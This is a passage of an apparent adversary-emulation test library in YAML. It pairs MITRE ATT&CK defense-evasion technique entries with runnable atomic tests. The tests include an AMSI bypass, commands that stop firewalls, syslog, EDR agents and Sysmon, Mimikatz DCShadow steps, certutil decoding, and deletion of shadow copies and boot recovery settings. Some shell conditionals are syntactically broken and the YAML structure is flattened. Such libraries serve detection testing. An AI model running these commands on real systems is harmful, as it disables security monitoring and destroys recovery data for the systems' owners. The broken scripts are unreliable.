x_mitre_contributors:
- Brian Prange
- Heather Linn
- Walker Johnson
created: '2017-05-31T21:31:08.479Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: command-and-control
- kill_chain_name: mitre-attack
phase_name: defense-evasion
external_references:
- external_id: T1090
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1090
- source_name: Trend Micro APT Attack Tools
description: 'Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools
of the Trade. Retrieved December 2, 2015.'
url: http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/
- source_name: University of Birmingham C2
description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command
& Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
x_mitre_defense_bypassed:
- Log Analysis
- Firewall
identifier: T1090
atomic_tests:
- name: Connection Proxy
description: |
Enable traffic redirection.
Note that this test may conflict with pre-existing system configuration.
supported_platforms:
- macos
- linux
input_arguments:
proxy_server:
description: Proxy server URL (host:port)
type: url
default: 127.0.0.1:8080
proxy_scheme:
description: Protocol to proxy (http or https)
type: string
default: http
executor:
name: sh
command: 'export #{proxy_scheme}_proxy=#{proxy_server}
'
cleanup_command: |-
unset http_proxy
unset https_proxy
T1196:
technique:
x_mitre_permissions_required:
- User
- Administrator
- SYSTEM
x_mitre_data_sources:
- API monitoring
- Binary file metadata
- DLL monitoring
- Windows Registry
- Windows event logs
- Process command-line parameters
- Process monitoring
name: Control Panel Items
description: |-
Windows Control Panel items are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013)
For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. (Citation: Microsoft Implementing CPL)
Adversaries can use Control Panel items as execution payloads to execute arbitrary commands. Malicious Control Panel items can be delivered via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) campaigns (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware. (Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension whitelisting.
x_mitre_remote_support: false
id: attack-pattern--8df54627-376c-487c-a09c-7d2b5620f56e
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: |-
Monitor and analyze activity related to items associated with CPL files, such as the Windows Control Panel process binary (control.exe) and the Control_RunDLL and ControlRunDLLAsUser API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: control.exe file.cpl) before [Rundll32](https://attack.mitre.org/techniques/T1085) is used to call the CPL's API functions (ex: rundll32.exe shell32.dll,Control_RunDLL file.cpl). CPL files can be executed directly via the CPL API function with just the latter [Rundll32](https://attack.mitre.org/techniques/T1085) command, which may bypass detections and/or execution filters for control.exe. (Citation: TrendMicro CPL Malware Jan 2014)
Inventory Control Panel items to locate unregistered and potentially malicious files present on systems:
* Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ControlPanel\NameSpace and HKEY_CLASSES_ROOT\CLSID\{GUID}. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL)
* CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the Cpls and Extended Properties Registry keys of HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Control Panel. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically ( WinExec("c:\windows\system32\control.exe {Canonical_Name}", SW_NORMAL);) or from a command line (control.exe /name {Canonical_Name}). (Citation: Microsoft Implementing CPL)
* Some Control Panel items are extensible via Shell extensions registered in HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Controls Folder\{name}\Shellex\PropertySheetHandlers where {name} is the predefined name of the system item. (Citation: Microsoft Implementing CPL)
Analyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques. (Citation: TrendMicro CPL Malware Jan 2014)
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
modified: '2019-07-16T21:10:28.299Z'
created: '2018-04-18T17:59:24.739Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
- kill_chain_name: mitre-attack
phase_name: execution
external_references:
- external_id: T1196
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1196
- source_name: Microsoft Implementing CPL
description: M. (n.d.). Implementing Control Panel Items. Retrieved January
18, 2018.
url: https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx
- source_name: TrendMicro CPL Malware Jan 2014
description: Mercês, F. (2014, January 27). CPL Malware - Malicious Control
Panel Items. Retrieved January 18, 2018.
url: https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf
- source_name: TrendMicro CPL Malware Dec 2013
description: Bernardino, J. (2013, December 17). Control Panel Files Used
As Malicious Attachments. Retrieved January 18, 2018.
url: https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/
- source_name: Palo Alto Reaver Nov 2017
description: Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New
Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.
url: https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/
x_mitre_defense_bypassed:
- Application whitelisting
- Process whitelisting
identifier: T1196
atomic_tests:
- name: Control Panel Items
description: 'This test simulates an adversary leveraging control.exe to execute
a payload and pops calc
'
supported_platforms:
- windows
input_arguments:
cpl_file_path:
description: path to cpl file
type: path
default: calc.cpl
executor:
name: command_prompt
elevation_required: false
command: 'control.exe #{cpl_file_path}
'
T1207:
technique:
x_mitre_data_sources:
- API monitoring
- Authentication logs
- Network protocol analysis
- Packet capture
x_mitre_permissions_required:
- Administrator
name: DCShadow
description: |-
DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a Domain Controller (DC). (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.
Registering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide)
This technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1178) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018)
id: attack-pattern--564998d8-ab3e-4123-93fb-eccaa6b9714a
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
x_mitre_detection: |-
Monitor and analyze network traffic associated with data replication (such as calls to DrsAddEntry, DrsReplicaAdd, and especially GetNCChanges) between DCs as well as to/from non DC hosts. (Citation: GitHub DCSYNCMonitor) (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018) DC replication will naturally take place every 15 minutes but can be triggered by an attacker or by legitimate urgent changes (ex: passwords). (Citation: BlueHat DCShadow Jan 2018) Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). (Citation: DCShadow Blog)
Leverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies. (Citation: Microsoft DirSync) (Citation: ADDSecurity DCShadow Feb 2018)
Baseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects. (Citation: BlueHat DCShadow Jan 2018)
Investigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with “GC/”) by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235–4B06–11D1-AB04–00C04FC2DCD2) can be set without logging. (Citation: ADDSecurity DCShadow Feb 2018) A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Vincent Le Toux
created: '2018-04-18T17:59:24.739Z'
modified: '2018-10-17T00:14:20.652Z'
external_references:
- external_id: T1207
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1207
- description: Delpy, B. & LE TOUX, V. (n.d.). DCShadow. Retrieved March 20,
2018.
source_name: DCShadow Blog
url: https://www.dcshadow.com/
- description: 'Delpy, B. & LE TOUX, V. (2018, January 24). Active Directory:
What can make your million dollar SIEM go blind?. Retrieved March 20, 2018.'
source_name: BlueHat DCShadow Jan 2018
- description: Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz
& Command Reference. Retrieved December 23, 2015.
source_name: Adsecurity Mimikatz Guide
url: https://adsecurity.org/?page_id=1821
- description: Spencer S. (2018, February 22). DCSYNCMonitor. Retrieved March
30, 2018.
source_name: GitHub DCSYNCMonitor
url: https://github.com/shellster/DCSYNCMonitor
- description: Lucand,G. (2018, February 18). Detect DCShadow, impossible?.
Retrieved March 30, 2018.
source_name: ADDSecurity DCShadow Feb 2018
url: https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html
- description: Microsoft. (n.d.). Polling for Changes Using the DirSync Control.
Retrieved March 30, 2018.
source_name: Microsoft DirSync
url: https://msdn.microsoft.com/en-us/library/ms677626.aspx
x_mitre_defense_bypassed:
- Log analysis
identifier: T1207
atomic_tests:
- name: DCShadow - Mimikatz
description: |
Utilize Mimikatz DCShadow method to simulate behavior of a Domain Controller
[DCShadow](https://www.dcshadow.com/)
[Additional Reference](http://www.labofapenetrationtester.com/2018/04/dcshadow.html)
supported_platforms:
- windows
executor:
name: manual
steps: |
1. Start Mimikatz and use !processtoken (and not token::elevate - as it elevates a thread) to escalate to SYSTEM.
2. Start another mimikatz with DA privileges. This is the instance which registers a DC and is used to "push" the attributes.
3. lsadump::dcshadow /object:ops-user19$ /attribute:userAccountControl /value:532480
4. lsadump::dcshadow /push
T1038:
technique:
x_mitre_permissions_required:
- User
- Administrator
- SYSTEM
x_mitre_data_sources:
- File monitoring
- DLL monitoring
- Process monitoring
- Process command-line parameters
name: DLL Search Order Hijacking
description: "Windows systems use a common method to look for required DLLs
to load into a program. (Citation: Microsoft DLL Search) Adversaries may take
advantage of the Windows DLL search order and programs that ambiguously specify
DLLs to gain privilege escalation and persistence. \n\nAdversaries may perform
DLL preloading, also called binary planting attacks, (Citation: OWASP Binary
Planting) by placing a malicious DLL with the same name as an ambiguously
specified DLL in a location that Windows searches before the legitimate DLL.
Often this location is the current working directory of the program. Remote
DLL preloading attacks occur when a program sets its current directory to
a remote location such as a Web share before loading a DLL. (Citation: Microsoft
2269637) Adversaries may use this behavior to cause the program to load a
malicious DLL. \n\nAdversaries may also directly modify the way a program
loads DLLs by replacing an existing DLL or modifying a .manifest or .local
redirection file, directory, or junction to cause the program to load a different
DLL to maintain persistence or privilege escalation. (Citation: Microsoft
DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search
Order)\n\nIf a search order-vulnerable program is configured to run at a higher
privilege level, then the adversary-controlled DLL that is loaded will also
be executed at the higher level. In this case, the technique could be used
for privilege escalation from user to administrator or SYSTEM or from administrator
to SYSTEM, depending on the program.\n\nPrograms that fall victim to path
hijacking may appear to behave normally because malicious DLLs may be configured
to also load the legitimate DLLs they were meant to replace."
id: attack-pattern--46944654-fcc1-4f63-9dad-628102376586
modified: '2019-07-24T15:07:22.266Z'
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
x_mitre_system_requirements:
- Ability to add a DLL, manifest file, or .local file, directory, or junction.
type: attack-pattern
x_mitre_detection: Monitor file systems for moving, renaming, replacing, or
modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared
with past behavior) that do not correlate with known software, patches, etc.,
are suspicious. Monitor DLLs loaded into a process and detect DLLs that have
the same file name but abnormal paths. Modifications to or creation of .manifest
and .local redirection files that do not correlate with software updates are
suspicious.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Stefan Kanthak
- Travis Smith, Tripwire
created: '2017-05-31T21:30:40.604Z'
x_mitre_effective_permissions:
- User
- Administrator
- SYSTEM
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: persistence
- kill_chain_name: mitre-attack
phase_name: privilege-escalation
- kill_chain_name: mitre-attack
phase_name: defense-evasion
external_references:
- external_id: T1038
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1038
- source_name: capec
external_id: CAPEC-471
url: https://capec.mitre.org/data/definitions/471.html
- source_name: Microsoft DLL Search
description: Microsoft. (n.d.). Dynamic-Link Library Search Order. Retrieved
November 30, 2014.
url: http://msdn.microsoft.com/en-US/library/ms682586
- source_name: OWASP Binary Planting
description: OWASP. (2013, January 30). Binary planting. Retrieved June 7,
2016.
url: https://www.owasp.org/index.php/Binary_planting
- source_name: Microsoft 2269637
description: Microsoft. (2010, August 22). Microsoft Security Advisory 2269637
Released. Retrieved December 5, 2014.
url: http://blogs.technet.com/b/msrc/archive/2010/08/21/microsoft-security-advisory-2269637-released.aspx
- source_name: Microsoft DLL Redirection
description: Microsoft. (n.d.). Dynamic-Link Library Redirection. Retrieved
December 5, 2014.
url: http://msdn.microsoft.com/en-US/library/ms682600
- source_name: Microsoft Manifests
description: Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.
url: https://msdn.microsoft.com/en-US/library/aa375365
- source_name: Mandiant Search Order
description: Mandiant. (2010, August 31). DLL Search Order Hijacking Revisited.
Retrieved December 5, 2014.
url: https://www.mandiant.com/blog/dll-search-order-hijacking-revisited/
x_mitre_defense_bypassed:
- Process whitelisting
identifier: T1038
atomic_tests:
- name: DLL Search Order Hijacking - amsi.dll
description: |
Adversaries can take advantage of insecure library loading by PowerShell to load a vulnerable version
of amsi.dll in order to bypass AMSI (Anti-Malware Scanning Interface)
https://enigma0x3.net/2017/07/19/bypassing-amsi-via-com-server-hijacking/
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: false
command: |
copy %windir%\System32\windowspowershell\v1.0\powershell.exe %APPDATA%\updater.exe
copy %windir%\System32\amsi.dll %APPDATA%\amsi.dll
cmd.exe /k %APPDATA%\updater.exe
T1140:
technique:
x_mitre_permissions_required:
- User
x_mitre_data_sources:
- File monitoring
- Process monitoring
- Process command-line parameters
name: Deobfuscate/Decode Files or Information
description: |-
Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware, [Scripting](https://attack.mitre.org/techniques/T1064), [PowerShell](https://attack.mitre.org/techniques/T1086), or by using utilities present on the system.
One such example is use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia)
Another example is using the Windows copy /b command to reassemble binary fragments into a malicious payload. (Citation: Carbon Black Obfuscation Sept 2016)
Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used with [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript.
id: attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c
modified: '2019-04-25T17:44:54.615Z'
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: |-
Detecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as [certutil](https://attack.mitre.org/software/S0160).
Monitor the execution file paths and command-line arguments for common archive file applications and extensions, such as those for Zip and RAR archive tools, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Matthew Demaske, Adaptforward
- Red Canary
created: '2017-12-14T16:46:06.044Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
external_references:
- external_id: T1140
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1140
- source_name: Malwarebytes Targeted Attack against Saudi Arabia
description: Malwarebytes Labs. (2017, March 27). New targeted attack against
Saudi Arabia Government. Retrieved July 3, 2017.
url: https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/
- source_name: Carbon Black Obfuscation Sept 2016
description: Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved
February 12, 2018.
url: https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/
- source_name: Volexity PowerDuke November 2016
description: 'Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election
Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January
11, 2017.'
url: https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/
x_mitre_defense_bypassed:
- Anti-virus
- Host intrusion prevention systems
- Signature-based detection
- Network intrusion detection system
identifier: T1140
atomic_tests:
- name: Deobfuscate/Decode Files Or Information
description: 'Encode/Decode executable
'
supported_platforms:
- windows
input_arguments:
executable:
description: name of executable
type: path
default: c:\file.exe
executor:
name: command_prompt
elevation_required: false
command: |
certutil.exe -encode #{executable} file.txt
certutil.exe -decode file.txt #{executable}
- name: Certutil Rename and Decode
description: 'Rename certutil and decode a file. This is in reference to latest
research by FireEye [here](https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html)
'
supported_platforms:
- windows
input_arguments:
executable:
description: name of executable/file to decode
type: path
default: c:\file.exe
executor:
name: command_prompt
elevation_required: false
command: |
cmd.exe /c copy %windir%\\system32\\certutil.exe %temp%tcm.tmp
cmd.exe /c %temp%tcm.tmp -decode #{executable} file.txt
T1089:
technique:
x_mitre_data_sources:
- API monitoring
- File monitoring
- Services
- Windows Registry
- Process command-line parameters
- Anti-virus
name: Disabling Security Tools
description: Adversaries may disable security tools to avoid possible detection
of their tools and activities. This can take the form of killing security
software or event logging processes, deleting Registry keys so that tools
do not start at run time, or other methods to interfere with security scanning
or event reporting.
id: attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044
x_mitre_platforms:
- Linux
- macOS
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: Monitor processes and command-line arguments to see if security
tools are killed or stop running. Monitor Registry edits for modifications
to services and startup programs that correspond to security tools. Lack of
log or event file reporting may be suspicious.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
modified: '2019-07-17T19:02:55.134Z'
created: '2017-05-31T21:31:07.958Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
external_references:
- external_id: T1089
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1089
- source_name: capec
external_id: CAPEC-578
url: https://capec.mitre.org/data/definitions/578.html
x_mitre_defense_bypassed:
- File monitoring
- Host intrusion prevention systems
- Signature-based detection
- Log analysis
- Anti-virus
identifier: T1089
atomic_tests:
- name: Disable iptables firewall
description: 'Disables the iptables firewall
'
supported_platforms:
- linux
executor:
name: sh
command: |
if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "6" ];
then
service iptables stop
chkconfig off iptables
service ip6tables stop
chkconfig off ip6tables
else if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "7" ];
systemctl stop firewalld
systemctl disable firewalld
fi
- name: Disable syslog
description: 'Disables syslog collection
'
supported_platforms:
- linux
executor:
name: sh
command: |
if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "6" ];
then
service rsyslog stop
chkconfig off rsyslog
else if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "7" ];
systemctl stop rsyslog
systemctl disable rsyslog
fi
- name: Disable Cb Response
description: 'Disable the Cb Response service
'
supported_platforms:
- linux
executor:
name: sh
command: |
if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "6" ];
then
service cbdaemon stop
chkconfig off cbdaemon
else if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "7" ];
systemctl stop cbdaemon
systemctl disable cbdaemon
fi
- name: Disable SELinux
description: 'Disables SELinux enforcement
'
supported_platforms:
- linux
executor:
name: sh
command: 'setenforce 0
'
- name: Disable Carbon Black Response
description: 'Disables Carbon Black Response
'
supported_platforms:
- macos
executor:
name: sh
command: 'sudo launchctl unload /Library/LaunchDaemons/com.carbonblack.daemon.plist
'
- name: Disable LittleSnitch
description: 'Disables LittleSnitch
'
supported_platforms:
- macos
executor:
name: sh
command: 'sudo launchctl unload /Library/LaunchDaemons/at.obdev.littlesnitchd.plist
'
- name: Disable OpenDNS Umbrella
description: 'Disables OpenDNS Umbrella
'
supported_platforms:
- macos
executor:
name: sh
command: 'sudo launchctl unload /Library/LaunchDaemons/com.opendns.osx.RoamingClientConfigUpdater.plist
'
- name: Unload Sysmon Filter Driver
description: "Unloads the Sysinternals Sysmon filter driver without stopping
the Sysmon service. \n"
supported_platforms:
- windows
input_arguments:
sysmon_driver:
description: The name of the Sysmon filter driver (this can change from
the default)
type: string
default: SysmonDrv
executor:
name: command_prompt
elevation_required: true
prereq_command: 'fltmc.exe filters | findstr #{sysmon_driver}
'
command: 'fltmc.exe unload #{sysmon_driver}
'
cleanup_command: |
sc stop sysmon
fltmc.exe load #{sysmon_driver}
sc start sysmon
- name: Disable Windows IIS HTTP Logging
description: "Disables HTTP logging on a Windows IIS web server as seen by Threat
Group 3390 (Bronze Union). \nThis action requires HTTP logging configurations
in IIS to be unlocked.\n"
supported_platforms:
- windows
input_arguments:
website_name:
description: The name of the website on a server
type: string
default: Default Web Site
executor:
name: command_prompt
command: 'C:\Windows\System32\inetsrv\appcmd.exe set config "#{website_name}"
/section:httplogging /dontLog:true
'
- name: Uninstall Sysmon
description: 'Uninstall Sysinternals Sysmon for Defense Evasion
'
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: true
prereq_command: 'sc query sysmon > nul
'
command: 'sysmon -u
'
cleanup_command: 'sysmon -i -accepteula
'
- name: AMSI Bypass - AMSI InitFailed
description: "Any easy way to bypass AMSI inspection is it patch the dll in
memory setting the \"amsiInitFailed\" function to true. \nhttps://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/\n"
supported_platforms:
- windows
executor:
name: powershell
elevation_required: false
command: "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)\n"
cleanup_command: "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$false)\n"
- name: AMSI Bypass - Remove AMSI Provider Reg Key
description: "With administrative rights, an adversary can remove the AMSI Provider
registry key in HKLM\\Software\\Microsoft\\AMSI to disable AMSI inspection.\nThis
test removes the Windows Defender provider registry key. \n"
supported_platforms:
- windows
executor:
name: powershell
elevation_required: true
command: 'Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}"
-Recurse
'
cleanup_command: New-Item -Path "HKLM:\SOFTWARE\Microsoft\AMSI\Providers"
-Name "{2781761E-28E0-4109-99FE-B9D127C57AFE}"
T1107:
technique:
x_mitre_data_sources:
- File monitoring
- Process command-line parameters
- Binary file metadata
x_mitre_permissions_required:
- User
name: File Deletion
description: |-
Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces behind as to what was done within a network and how. Adversaries may remove these files over the course of an intrusion to keep their footprint low or remove them at the end as part of the post-intrusion cleanup process.
There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native [cmd](https://attack.mitre.org/software/S0106) functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)
id: attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59
modified: '2019-07-17T21:18:43.664Z'
x_mitre_platforms:
- Linux
- macOS
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: It may be uncommon for events related to benign command-line
functions such as DEL or third-party utilities or tools to be found in an
environment, depending on the user base and how systems are typically used.
Monitoring for command-line deletion functions to correlate with binaries
or other files that an adversary may drop and remove may lead to detection
of malicious activity. Another good practice is monitoring for known deletion
and secure deletion tools that are not already on systems within an enterprise
network that an adversary could introduce. Some monitoring tools may collect
command-line arguments, but may not capture DEL commands since DEL is a native
function within cmd.exe.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Walker Johnson
created: '2017-05-31T21:31:17.915Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
external_references:
- external_id: T1107
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1107
- source_name: Trend Micro APT Attack Tools
description: 'Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools
of the Trade. Retrieved December 2, 2015.'
url: http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/
x_mitre_defense_bypassed:
- Host forensic analysis
identifier: T1107
atomic_tests:
- name: Delete a single file - Linux/macOS
description: 'Delete a single file from the temporary directory
'
supported_platforms:
- linux
- macos
input_arguments:
file_to_delete:
description: Path of file to delete
type: Path
default: "/tmp/victim-files/a"
executor:
name: sh
command: 'rm -f #{file_to_delete}
'
- name: Delete an entire folder - Linux/macOS
description: 'Recursively delete the temporary directory and all files contained
within it
'
supported_platforms:
- linux
- macos
input_arguments:
folder_to_delete:
description: Path of folder to delete
type: Path
default: "/tmp/victim-files"
executor:
name: sh
command: 'rm -rf #{folder_to_delete}
'
- name: Overwrite and delete a file with shred
description: 'Use the `shred` command to overwrite the temporary file and then
delete it
'
supported_platforms:
- linux
input_arguments:
file_to_shred:
description: Path of file to shred
type: Path
default: "/tmp/victim-shred.txt"
executor:
name: sh
command: 'shred -u #{file_to_shred}
'
- name: Delete a single file - Windows cmd
description: 'Delete a single file from the temporary directory using cmd.exe
'
supported_platforms:
- windows
input_arguments:
file_to_delete:
description: Path of file to delete
type: Path
default: C:\Windows\Temp\victim-files-cmd\a
executor:
name: command_prompt
elevation_required: false
command: 'del /f #{file_to_delete}
'
- name: Delete an entire folder - Windows cmd
description: 'Recursively delete the temporary directory and all files contained
within it using cmd.exe
'
supported_platforms:
- windows
input_arguments:
folder_to_delete:
description: Path of folder to delete
type: Path
default: C:\Windows\Temp\victim-files-cmd
executor:
name: command_prompt
elevation_required: false
command: 'del /f /S #{folder_to_delete}
'
- name: Delete a single file - Windows PowerShell
description: 'Delete a single file from the temporary directory using Powershell
'
supported_platforms:
- windows
input_arguments:
file_to_delete:
description: Path of file to delete
type: Path
default: C:\Windows\Temp\victim-files-ps\a
executor:
name: powershell
elevation_required: false
command: 'Remove-Item -path "#{file_to_delete}"
'
- name: Delete an entire folder - Windows PowerShell
description: 'Recursively delete the temporary directory and all files contained
within it using Powershell
'
supported_platforms:
- windows
input_arguments:
folder_to_delete:
description: Path of folder to delete
type: Path
default: C:\Windows\Temp\victim-files-ps
executor:
name: powershell
elevation_required: false
command: 'Remove-Item -path "#{folder_to_delete}" -recurse
'
- name: Delete VSS - vssadmin
description: 'Delete all volume shadow copies with vssadmin.exe
'
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: true
command: 'vssadmin.exe Delete Shadows /All /Quiet
'
- name: Delete VSS - wmic
description: 'Delete all volume shadow copies with wmic
'
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: true
command: 'wmic shadowcopy delete
'
- name: bcdedit
description: 'This test leverages `bcdedit` to remove boot-time recovery measures.
'
supported_platforms:
- windows
executor:
name: command_prompt
command: |
bcdedit /set {default} bootstatuspolicy ignoreallfailures
bcdedit /set {default} recoveryenabled no
